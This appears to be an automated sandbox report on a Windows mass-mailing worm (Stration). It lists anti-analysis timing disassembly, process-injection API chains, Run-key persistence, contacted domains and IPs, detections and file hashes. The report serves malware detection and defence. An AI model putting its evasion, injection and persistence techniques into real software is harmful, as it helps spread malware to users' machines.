Source: C:\Windows\tserv.exe	RDTSC instruction interceptor: First address: 000000000040C1EE second address: 000000000040C1FC instructions: 0x00000000 rdtsc 0x00000002 xor eax, edx 0x00000004 xor dword ptr [esp+08h], eax 0x00000008 call esi 0x0000000a push ecx 0x0000000b call dword ptr [74E717DCh] 0x00000011 mov edi, edi 0x00000013 push ebp 0x00000014 mov ebp, esp 0x00000016 push ecx 0x00000017 mov ecx, dword ptr [7FFE0004h] 0x0000001d mov dword ptr [ebp-04h], ecx 0x00000020 cmp ecx, 01000000h 0x00000026 jc 00007F37CCACDF0Eh 0x0000002c mov eax, 7FFE0320h 0x00000031 mov eax, dword ptr [eax] 0x00000033 mul ecx 0x00000035 shrd eax, edx, 00000018h 0x00000039 shr edx, 18h 0x0000003c mov esp, ebp 0x0000003e pop ebp 0x0000003f ret 0x00000040 pop ecx 0x00000041 ret 0x00000042 mov dword ptr [esp+0Ch], eax 0x00000046 rdtsc
Source: C:\Windows\tserv.exe	RDTSC instruction interceptor: First address: 000000000040C1EE second address: 000000000040C1FC instructions: 0x00000000 rdtsc 0x00000002 xor eax, edx 0x00000004 xor dword ptr [esp+08h], eax 0x00000008 call esi 0x0000000a push ecx 0x0000000b call dword ptr [74E717DCh] 0x00000011 mov edi, edi 0x00000013 push ebp 0x00000014 mov ebp, esp 0x00000016 push ecx 0x00000017 mov ecx, dword ptr [7FFE0004h] 0x0000001d mov dword ptr [ebp-04h], ecx 0x00000020 cmp ecx, 01000000h 0x00000026 jc 00007F37CCE541AEh 0x0000002c mov eax, 7FFE0320h 0x00000031 mov eax, dword ptr [eax] 0x00000033 mul ecx 0x00000035 shrd eax, edx, 00000018h 0x00000039 shr edx, 18h 0x0000003c mov esp, ebp 0x0000003e pop ebp 0x0000003f ret 0x00000040 pop ecx 0x00000041 ret 0x00000042 mov dword ptr [esp+0Ch], eax 0x00000046 rdtsc
Source: C:\Windows\tserv.exe	RDTSC instruction interceptor: First address: 000000000040C1FC second address: 000000000040C20A instructions: 0x00000000 rdtsc 0x00000002 xor eax, edx 0x00000004 xor dword ptr [esp+0Ch], eax 0x00000008 call esi 0x0000000a push ecx 0x0000000b call dword ptr [74E717DCh] 0x00000011 mov edi, edi 0x00000013 push ebp 0x00000014 mov ebp, esp 0x00000016 push ecx 0x00000017 mov ecx, dword ptr [7FFE0004h] 0x0000001d mov dword ptr [ebp-04h], ecx 0x00000020 cmp ecx, 01000000h 0x00000026 jc 00007F37CCACDF0Eh 0x0000002c mov eax, 7FFE0320h 0x00000031 mov eax, dword ptr [eax] 0x00000033 mul ecx 0x00000035 shrd eax, edx, 00000018h 0x00000039 shr edx, 18h 0x0000003c mov esp, ebp 0x0000003e pop ebp 0x0000003f ret 0x00000040 pop ecx 0x00000041 ret 0x00000042 mov dword ptr [esp+10h], eax 0x00000046 rdtsc

Source: C:\Windows\tserv.exe TID: 3996	Thread sleep time: -1200000s >= -30000s			Jump to behavior
Source: C:\Windows\tserv.exe TID: 7040	Thread sleep time: -900000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\message.elm.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

graph_0-12746

Source: C:\Users\user\Desktop\message.elm.exe

Code function: 0_2_0040C1D0 rdtsc

0_2_0040C1D0

Source: C:\Windows\tserv.exe	Thread delayed: delay time: 300000			Jump to behavior
Source: C:\Windows\tserv.exe	Thread delayed: delay time: 300000			Jump to behavior

Source: C:\Users\user\Desktop\message.elm.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_0-12681

Source: C:\Users\user\Desktop\message.elm.exe

Code function: 0_2_00429F44 VirtualQuery,GetSystemInfo,VirtualQuery,VirtualAlloc,VirtualProtect,

0_2_00429F44

Source: C:\Users\user\Desktop\message.elm.exe

Code function: 0_2_00406360 GetFileAttributesA,lstrcpyA,lstrcatA,lstrcatA,FindFirstFileA,GetLastError,lstrcmpA,lstrcmpA,lstrcmpA,lstrcpyA,lstrcatA,lstrcatA,lstrcpyA,lstrcatA,FindNextFileA,FindClose,

0_2_00406360

Source: C:\Windows\tserv.exe	Thread delayed: delay time: 300000			Jump to behavior
Source: C:\Windows\tserv.exe	Thread delayed: delay time: 300000			Jump to behavior

Source: C:\Users\user\Desktop\message.elm.exe

API call chain: ExitProcess graph end node

graph_0-12747

Source: C:\Users\user\Desktop\message.elm.exe

Code function: 0_2_0041F660 LoadLibraryA,GetProcAddress,SetWindowsHookExA,

0_2_0041F660

Source: C:\Users\user\Desktop\message.elm.exe

Code function: 0_2_004210D0 GetProcessHeap,GetProcessHeap,HeapAlloc,RegOpenKeyExA,GetLastError,GetProcessHeap,HeapFree,RegCloseKey,

0_2_004210D0

Source: C:\Users\user\Desktop\message.elm.exe

Code function: 0_2_0040C1D0 rdtsc

0_2_0040C1D0

Source: C:\Users\user\Desktop\message.elm.exe	Code function: 0_2_0042731A SetUnhandledExceptionFilter,		0_2_0042731A
Source: C:\Users\user\Desktop\message.elm.exe	Code function: 0_2_0042732E SetUnhandledExceptionFilter,		0_2_0042732E

HIPS / PFW / Operating System Protection Evasion:

Injects files into Windows application

Show sources

Source: C:\Windows\SysWOW64\notepad.exe

Injected file: C:\Users\user\Desktop\9223.tmp was created by C:\Users\user\Desktop\message.elm.exe

Jump to behavior

Contains functionality to inject threads in other processes

Show sources

Source: C:\Users\user\Desktop\message.elm.exe

Code function: 0_2_00404840 OpenProcess,lstrlenA,VirtualAllocEx,WriteProcessMemory,GetModuleHandleA,GetProcAddress,CreateRemoteThread,

0_2_00404840

Source: C:\Users\user\Desktop\message.elm.exe

Code function: 0_2_00423260 GetProcessHeap,HeapAlloc,HeapAlloc,HeapAlloc,HeapFree,RtlAllocateHeap,HeapFree,HeapFree,HeapFree,HeapAlloc,HeapFree,HeapFree,HeapFree,HeapAlloc,HeapFree,HeapFree,HeapFree,HeapFree,RtlAllocateHeap,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,InitializeSecurityDescriptor,GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetTokenInformation,GetTokenInformation,GetTokenInformation,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,AllocateAndInitializeSid,GetLengthSid,AddAce,AllocateAndInitializeSid,GetLengthSid,AddAce,AllocateAndInitializeSid,GetLengthSid,AddAce,IsValidSecurityDescriptor,

0_2_00423260

Source: notepad.exe, 00000005.00000002.557141085.0000000003800000.00000002.00020000.sdmp	Binary or memory string: Program Manager
Source: notepad.exe, 00000005.00000002.557141085.0000000003800000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: notepad.exe, 00000005.00000002.557141085.0000000003800000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: notepad.exe, 00000005.00000002.557141085.0000000003800000.00000002.00020000.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\SysWOW64\notepad.exe

Queries volume information: C:\Users\user\Desktop\9223.tmp VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\message.elm.exe

Code function: GetLocaleInfoA,

0_2_0042C8B2

Source: C:\Users\user\Desktop\message.elm.exe

Code function: 0_2_00401830 ExpandEnvironmentStringsA,GetLocalTime,CreateFileA,CloseHandle,

0_2_00401830

Source: C:\Users\user\Desktop\message.elm.exe

Code function: 0_2_0040BE00 lstrlenA,GetLocalTime,GetTimeZoneInformation,lstrlenA,

0_2_0040BE00

Source: C:\Users\user\Desktop\message.elm.exe

Code function: 0_2_00425D91 EntryPoint,GetVersionExA,GetModuleHandleA,GetModuleHandleA,_fast_error_exit,_fast_error_exit,GetCommandLineA,GetStartupInfoA,__wincmdln,GetModuleHandleA,

0_2_00425D91

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Native API3	Registry Run Keys / Startup Folder1	Access Token Manipulation1	Masquerading121	Input Capture1	System Time Discovery2	Remote Services	Input Capture1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Shared Modules1	DLL Side-Loading1	Process Injection22	Virtualization/Sandbox Evasion21	LSASS Memory	Security Software Discovery22	Remote Desktop Protocol	Archive Collected Data1	Exfiltration Over Bluetooth	Non-Standard Port1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Application Shimming1	Registry Run Keys / Startup Folder1	Access Token Manipulation1	Security Account Manager	Virtualization/Sandbox Evasion21	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Application Layer Protocol1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	DLL Side-Loading1	Process Injection22	NTDS	Process Discovery2	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol11	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Application Shimming1	Deobfuscate/Decode Files or Information1	LSA Secrets	Remote System Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Obfuscated Files or Information2	Cached Domain Credentials	File and Directory Discovery1	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Software Packing1	DCSync	System Information Discovery124	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	DLL Side-Loading1	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
message.elm.exe	88%	Virustotal		Browse
message.elm.exe	93%	ReversingLabs	Win32.Worm.Stration
message.elm.exe	100%	Avira	WORM/Stration.C
message.elm.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Windows\tserv.exe	100%	Avira	WORM/Stration.C
C:\Windows\tserv.exe	100%	Joe Sandbox ML
C:\Windows\tserv.exe	93%	ReversingLabs	Win32.Worm.Stration

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
0.0.message.elm.exe.400000.0.unpack	100%	Avira	WORM/Stration.C		Download File
0.2.message.elm.exe.400000.0.unpack	100%	Avira	WORM/Stration.C		Download File

Domains

Source	Detection	Scanner	Link
www3.cedesunjerinkas.com	1%	Virustotal	Browse
ppp.ro	1%	Virustotal	Browse
ma-01.vlada.hr	0%	Virustotal	Browse
mail.dva.hr	0%	Virustotal	Browse

URLs

No Antivirus matches

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
alt3.gmail-smtp-in.l.google.com	142.250.157.26	true	false		high
www3.cedesunjerinkas.com	193.166.255.171	true	false	1%, Virustotal, Browse	unknown
ppp.ro	176.223.123.126	true	false	1%, Virustotal, Browse	unknown
alt2.gmail-smtp-in.l.google.com	74.125.200.27	true	false		high
ma-01.vlada.hr	195.29.173.138	true	false	0%, Virustotal, Browse	unknown
mx01.mail.com	74.208.5.22	true	false		high
alt2.aspmx.l.google.com	74.125.200.27	true	false		high
alt4.gmail-smtp-in.l.google.com	173.194.202.27	true	false		high
mail.dva.hr	138.201.223.6	true	false	0%, Virustotal, Browse	unknown
mta5.am0.yahoodns.net	67.195.204.72	true	false		unknown
aspmx3.googlemail.com	74.125.200.27	true	false		unknown
mx.leonet.it	212.19.106.223	true	false		unknown
mail.vlada.hr	195.29.173.131	true	false		unknown
www4.cedesunjerinkas.com	193.166.255.171	true	false		unknown
ma-02.vlada.hr	195.29.173.139	true	false		unknown
mta7.am0.yahoodns.net	67.195.204.77	true	false		unknown
mx2.mailchannels.net	35.82.253.27	true	false		high
smx01.a1.net	195.3.96.71	true	false		high
alt1.gmail-smtp-in.l.google.com	142.250.150.26	true	false		high
mx12.bigmir.net	193.239.71.112	true	false		high
mx00.mail.com	74.208.5.20	true	false		high
smtp.litwareinc.com	96.47.154.206	true	false		unknown
cluster10.us.messagelabs.com	67.219.247.199	true	false		high
aspmx4.googlemail.com	142.250.157.27	true	false		unknown
mx1.bigmir.net	193.239.68.121	true	false		high
mxb-0028be01.gslb.pphosted.com	148.163.152.255	true	false		high
mxbck.leonet.it	185.175.124.58	true	false		unknown
mx13.bigmir.net	193.239.71.113	true	false		high
mx2.inbox.lv	194.152.32.73	true	false		high
antispam.hosting-zdarma.cz	130.193.9.47	true	false		unknown
mx.yandex.ru	77.88.21.249	true	false		high
mx3c50.megamailservers.eu	91.136.8.47	true	false		unknown
alt1.aspmx.l.google.com	142.250.150.27	true	false		high
oopp.pl	94.152.34.135	true	false		unknown
gmail-smtp-in.l.google.com	108.177.119.26	true	false		high
aspmx2.googlemail.com	142.250.150.27	true	false		unknown
mx-aol.mail.gm0.yahoodns.net	67.195.228.86	true	false		unknown
mx10.bigmir.net	213.186.119.6	true	false		high
mta6.am0.yahoodns.net	67.195.204.79	true	false		unknown
mx2c50.megamailservers.eu	91.136.8.46	true	false		unknown
mail.h-email.net	18.237.235.220	true	false		unknown
mx3.bigmir.net	193.239.68.121	true	false		high
mx1.mailchannels.net	35.82.253.27	true	false		high
domini-cat.mail.protection.outlook.com	104.47.17.74	true	false		high
mail.fabrikam.com	131.107.55.31	true	false		unknown
aspmx5.googlemail.com	173.194.202.27	true	false		unknown
mx1.inbox.lv	194.152.32.72	true	false		high
mxa-0028be01.gslb.pphosted.com	148.163.149.218	true	false		high
mx1c50.megamailservers.eu	91.136.8.41	true	false		unknown
mail.adatum.com	131.107.88.24	true	false		unknown
msn-com.olc.protection.outlook.com	104.47.17.161	true	false		high
contoso-com.mail.protection.outlook.com	104.47.51.110	true	false		high
hotmail-com.olc.protection.outlook.com	104.47.57.161	true	false		high
cluster10a.us.messagelabs.com	54.83.87.114	true	false		high
aspmx.l.google.com	108.177.127.27	true	false		high
www2.cedesunjerinkas.com	193.166.255.171	true	false		unknown
hotmail.com	unknown	unknown	false		high
fanfary.pq	unknown	unknown	true		unknown
dva.hr	unknown	unknown	true		unknown
yahoo.com	unknown	unknown	false		high
fb.cz	unknown	unknown	true		unknown
inbox.lv	unknown	unknown	false		high
tek-astore.cz	unknown	unknown	true		unknown
fajrant.qz	unknown	unknown	true		unknown
griepp.pl	unknown	unknown	true		unknown
xara.pl	unknown	unknown	true		unknown
fafa.pk	unknown	unknown	true		unknown
contoso.mx	unknown	unknown	true		unknown
contoso.es	unknown	unknown	true		unknown
aol.com	unknown	unknown	false		high
cineva.com	unknown	unknown	true		unknown
contoso.com	unknown	unknown	true		unknown
abc.org	unknown	unknown	false		high
oricine.com	unknown	unknown	true		unknown
bigmir.net	unknown	unknown	false		high
animo.br	unknown	unknown	true		unknown
yandex.ru	unknown	unknown	false		high
xyz.com.br	unknown	unknown	true		unknown
quatro.br	unknown	unknown	true		unknown
abcdefg.cz	unknown	unknown	true		unknown
msn.com	unknown	unknown	false		high
somemail.ro	unknown	unknown	true		unknown
domini.cat	unknown	unknown	true		unknown
au.au-net.ne.jp	unknown	unknown	true		unknown
telering.at	unknown	unknown	false		high
ektro.cz	unknown	unknown	true		unknown
tvrtka.hr	unknown	unknown	true		unknown
tut.by	unknown	unknown	false		high
wxyz.com	unknown	unknown	false		high
vlada.hr	unknown	unknown	true		unknown
pirajui.br	unknown	unknown	true		unknown
fabrikam.com	unknown	unknown	true		unknown
mail.com	unknown	unknown	false		high
xyz.com	unknown	unknown	true		unknown
a1plus.at	unknown	unknown	true		unknown
musical.com.br	unknown	unknown	true		unknown
cohowinery.com	unknown	unknown	true		unknown
emaiserver.ro	unknown	unknown	true		unknown
orice.com	unknown	unknown	true		unknown
lufka.zx	unknown	unknown	true		unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
104.47.73.161	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	true
67.195.228.94	unknown	United States	36647	YAHOO-GQ1US	false
213.186.119.6	mx10.bigmir.net	Ukraine	6849	UKRTELNETUA	false
104.47.22.161	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	true
104.47.57.33	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	true
104.47.13.33	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	true
104.47.57.161	hotmail-com.olc.protection.outlook.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
74.208.5.22	mx01.mail.com	United States	8560	ONEANDONE-ASBrauerstrasse48DE	false
74.208.5.20	mx00.mail.com	United States	8560	ONEANDONE-ASBrauerstrasse48DE	false
142.250.150.27	alt1.aspmx.l.google.com	United States	15169	GOOGLEUS	false
194.152.32.72	mx1.inbox.lv	Latvia	12993	DEAC-ASLV	false
67.195.204.79	mta6.am0.yahoodns.net	United States	26101	YAHOO-3US	false
194.152.32.73	mx2.inbox.lv	Latvia	12993	DEAC-ASLV	false
194.152.32.74	unknown	Latvia	12993	DEAC-ASLV	true
194.152.32.75	unknown	Latvia	12993	DEAC-ASLV	true
67.195.228.86	mx-aol.mail.gm0.yahoodns.net	United States	36647	YAHOO-GQ1US	false
77.88.21.249	mx.yandex.ru	Russian Federation	13238	YANDEXRU	false
67.195.204.77	mta7.am0.yahoodns.net	United States	26101	YAHOO-3US	false
67.195.204.72	mta5.am0.yahoodns.net	United States	26101	YAHOO-3US	false
35.82.253.27	mx2.mailchannels.net	United States	237	MERIT-AS-14US	false
67.195.204.74	unknown	United States	26101	YAHOO-3US	false
104.47.17.161	msn-com.olc.protection.outlook.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
98.136.96.77	unknown	United States	36646	YAHOO-NE1US	false
193.239.71.113	mx13.bigmir.net	Ukraine	39468	BIGMIR-INTERNET-ASUA	false
91.136.8.41	mx1c50.megamailservers.eu	United Kingdom	9115	INFB-AS9115GB	false
74.125.200.27	alt2.gmail-smtp-in.l.google.com	United States	15169	GOOGLEUS	false
104.47.58.33	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	true
104.47.70.33	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	true
148.163.149.218	mxa-0028be01.gslb.pphosted.com	United States	26211	PROOFPOINT-ASN-US-WESTUS	false
91.136.8.47	mx3c50.megamailservers.eu	United Kingdom	9115	INFB-AS9115GB	false
193.239.71.112	mx12.bigmir.net	Ukraine	39468	BIGMIR-INTERNET-ASUA	false
91.136.8.46	mx2c50.megamailservers.eu	United Kingdom	9115	INFB-AS9115GB	false
104.47.59.161	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	true
104.47.51.33	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	true
108.177.119.26	gmail-smtp-in.l.google.com	United States	15169	GOOGLEUS	false
195.3.96.71	smx01.a1.net	Austria	8447	TELEKOM-ATA1TelekomAustriaAGAT	false
193.239.68.121	mx1.bigmir.net	Ukraine	39468	BIGMIR-INTERNET-ASUA	false
193.166.255.171	www3.cedesunjerinkas.com	Finland	1741	FUNETASFI	false
104.47.18.225	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	true
104.47.58.161	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	true
108.177.127.27	aspmx.l.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.1
127.0.0.1

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	549360
Start date:	07.01.2022
Start time:	15:52:41
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 7m 22s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	message.elm.cmd (renamed file extension from cmd to exe)
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.spre.troj.evad.winEXE@6/5@379/43
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 30.4% (good quality ratio 29.5%) Quality average: 85.1% Quality standard deviation: 23%
HCA Information:	Failed
Cookbook Comments:	Adjust boot time Enable AMSI
Warnings:	Show All Exclude process from analysis (whitelisted): MpCmdRun.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 23.211.6.115 Excluded domains from analysis (whitelisted): ris.api.iris.microsoft.com, e12564.dspb.akamaiedge.net, store-images.s-microsoft.com, store-images.s-microsoft.com-c.edgekey.net, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, arc.msn.com Not all processes where analyzed, report is missing behavior information Report size getting too big, too many NtCreateFile calls found. Report size getting too big, too many NtOpenFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
15:53:55	Autostart	Run: HKLM\Software\Microsoft\Windows\CurrentVersion\Run tserv C:\Windows\tserv.exe s
15:53:57	API Interceptor	20x Sleep call for process: tserv.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
104.47.73.161	file.txt.exe	Get hash	malicious	Browse
	readme.txt.exe	Get hash	malicious	Browse
	La60esvnOK.exe	Get hash	malicious	Browse
	mQri1JxNdQ.exe	Get hash	malicious	Browse
	JgC7A84YOU.exe	Get hash	malicious	Browse
	d5lcwbdDfu.exe	Get hash	malicious	Browse
67.195.228.94	test.dat.exe	Get hash	malicious	Browse
	doc.msg.exe	Get hash	malicious	Browse
	b7413f528510f6f00fe90877e39b3cb1b94fbfb4974fe.exe	Get hash	malicious	Browse
	IKUiRXwsnT.exe	Get hash	malicious	Browse
	Update-KB3756-x86.exe	Get hash	malicious	Browse
	sbFQSOHQS9.exe	Get hash	malicious	Browse
	g5keI4ykVe.exe	Get hash	malicious	Browse
	X54kf4zSf8.exe	Get hash	malicious	Browse
	Xu7v9n5LLd.exe	Get hash	malicious	Browse
	Player.apk	Get hash	malicious	Browse
	bLPTjx97o4.exe	Get hash	malicious	Browse
	UzvE3ZF7RC.exe	Get hash	malicious	Browse
	sKu7FoPlk3.exe	Get hash	malicious	Browse
	sample1-unpacked.exe	Get hash	malicious	Browse
	sample1-unpacked.exe	Get hash	malicious	Browse
	5Update-KB5984-x86.exe	Get hash	malicious	Browse
	32Update-KB8140-x86.exe	Get hash	malicious	Browse
	7Update-KB6060-x86.exe	Get hash	malicious	Browse
	1doc.elm.exe	Get hash	malicious	Browse
	51test.log.exe	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
alt3.gmail-smtp-in.l.google.com	test.dat.exe	Get hash	malicious	Browse	142.250.157.27
	Update-KB7390-x86.exe	Get hash	malicious	Browse	142.250.157.27
	Update-KB6734-x86.exe	Get hash	malicious	Browse	142.250.157.27
	Update-KB5058-x86.exe	Get hash	malicious	Browse	142.250.157.26
	Update-KB78-x86.exe	Get hash	malicious	Browse	142.250.157.26
	file.txt.exe	Get hash	malicious	Browse	142.250.157.26
	Update-KB250-x86.exe	Get hash	malicious	Browse	142.250.157.27
	Update-KB2984-x86.exe	Get hash	malicious	Browse	142.250.157.26
	doc.msg.exe	Get hash	malicious	Browse	74.125.200.27
	test.msg.exe	Get hash	malicious	Browse	142.250.157.26
	Update-KB3756-x86.exe	Get hash	malicious	Browse	142.250.157.27
	body.elm.exe	Get hash	malicious	Browse	142.250.157.26
	readme.txt.exe	Get hash	malicious	Browse	142.250.157.27
	Update-KB9504-x86.exe	Get hash	malicious	Browse	142.250.157.26
	Update-KB6340-x86.exe	Get hash	malicious	Browse	142.250.157.27
	sbFQSOHQS9.exe	Get hash	malicious	Browse	142.250.157.27
	ivMI3veipP.exe	Get hash	malicious	Browse	74.125.200.26
	5F8i5lJ4oT.exe	Get hash	malicious	Browse	142.250.157.26
	g5keI4ykVe.exe	Get hash	malicious	Browse	142.250.157.26
	X54kf4zSf8.exe	Get hash	malicious	Browse	142.250.157.26
www3.cedesunjerinkas.com	test.dat.exe	Get hash	malicious	Browse	193.166.255.171
	Update-KB7390-x86.exe	Get hash	malicious	Browse	193.166.255.171
	Update-KB6734-x86.exe	Get hash	malicious	Browse	193.166.255.171
	Update-KB5058-x86.exe	Get hash	malicious	Browse	193.166.255.171
	Update-KB78-x86.exe	Get hash	malicious	Browse	193.166.255.171
	file.txt.exe	Get hash	malicious	Browse	193.166.255.171
	Update-KB250-x86.exe	Get hash	malicious	Browse	193.166.255.171
	Update-KB2984-x86.exe	Get hash	malicious	Browse	193.166.255.171
	doc.msg.exe	Get hash	malicious	Browse	193.166.255.171
	test.msg.exe	Get hash	malicious	Browse	193.166.255.171
	Update-KB3756-x86.exe	Get hash	malicious	Browse	193.166.255.171
	body.elm.exe	Get hash	malicious	Browse	193.166.255.171
	readme.txt.exe	Get hash	malicious	Browse	193.166.255.171
	Update-KB9504-x86.exe	Get hash	malicious	Browse	193.166.255.171
	Update-KB6340-x86.exe	Get hash	malicious	Browse	193.166.255.171

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	test.dat.exe	Get hash	malicious	Browse	104.47.56.110
	Update-KB7390-x86.exe	Get hash	malicious	Browse	104.47.56.110
	Update-KB6734-x86.exe	Get hash	malicious	Browse	104.47.56.110
	Update-KB5058-x86.exe	Get hash	malicious	Browse	104.47.56.110
	Update-KB78-x86.exe	Get hash	malicious	Browse	104.47.51.33
	Erickson-3UH7-NPWA0E-YJS0.htm	Get hash	malicious	Browse	13.89.179.9
	updated Statement of account.doc	Get hash	malicious	Browse	13.68.141.149
	UVm9TYz4Ca	Get hash	malicious	Browse	52.125.130.60
	K0FLQjeV3N	Get hash	malicious	Browse	102.37.27.124
	UZAyUa3HYs	Get hash	malicious	Browse	20.10.130.163
	9AKqKIWIg2	Get hash	malicious	Browse	51.104.176.95
	Antisocial.arm	Get hash	malicious	Browse	72.154.237.84
	b0E4hcN1rc	Get hash	malicious	Browse	20.96.153.238
	RICOSTA Schuhfabriken GmbH_MATERIAL ORDER_ 36007.xlsm	Get hash	malicious	Browse	20.51.217.113
	ziJVAqMsLV	Get hash	malicious	Browse	207.68.157.213
	HS7bUB1mwB	Get hash	malicious	Browse	20.162.225.220
	WgjXaZPhli	Get hash	malicious	Browse	13.71.38.180
	7pYU4dtbcV	Get hash	malicious	Browse	135.149.72.81
	4kD59XCjYZ	Get hash	malicious	Browse	20.95.97.150
	yKQzFIK5uJ	Get hash	malicious	Browse	40.100.100.128
YAHOO-GQ1US	test.dat.exe	Get hash	malicious	Browse	67.195.228.94
	Update-KB7390-x86.exe	Get hash	malicious	Browse	67.195.228.111
	Update-KB6734-x86.exe	Get hash	malicious	Browse	67.195.228.106
	Update-KB5058-x86.exe	Get hash	malicious	Browse	67.195.228.84
	Update-KB78-x86.exe	Get hash	malicious	Browse	67.195.228.106
	7pYU4dtbcV	Get hash	malicious	Browse	98.136.201.230
	AgBfNzg60l	Get hash	malicious	Browse	98.137.77.167
	Payment Advice.exe	Get hash	malicious	Browse	98.137.244.37
	Jl03yVTR76	Get hash	malicious	Browse	98.137.77.197
	GenoSecarm	Get hash	malicious	Browse	98.137.77.121
	rmmLc0TLEs.exe	Get hash	malicious	Browse	98.137.11.163
	B6WXcbIOpD.exe	Get hash	malicious	Browse	98.137.11.163
	25t8ORqXKy.exe	Get hash	malicious	Browse	98.137.11.164
	Vk5Ziu7CiB	Get hash	malicious	Browse	98.139.117.14
	cDS23G8BEL.exe	Get hash	malicious	Browse	98.137.11.163
	XEjLRpNx4J.dll	Get hash	malicious	Browse	98.137.11.163
	7bA7UknK6b.dll	Get hash	malicious	Browse	98.137.11.164
	jtIfz16F5F	Get hash	malicious	Browse	98.139.117.17
	Invoice and documentsfdp.exe	Get hash	malicious	Browse	98.137.11.163
	Insurance_template.rtf	Get hash	malicious	Browse	98.137.11.163

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\VirtualStore\Windows\tserv.wax Download File
Process:	C:\Windows\tserv.exe
File Type:	data
Category:	modified
Size (bytes):	1480
Entropy (8bit):	3.210356401480195
Encrypted:	false
SSDEEP:	24:hDxJvKCqpQzIAh0NZDxJvKCqpQxbrzArVhhEKzPg:eAh08Z
MD5:	3C352FC313001CE1DA1555284498E299
SHA1:	D4A57B39C745DC9177F161CC03A6E7B186CEE5BE
SHA-256:	460D6CE11191C2B797E840132C1BBF3D1C62E693268C84C6275E99F21A92FD92
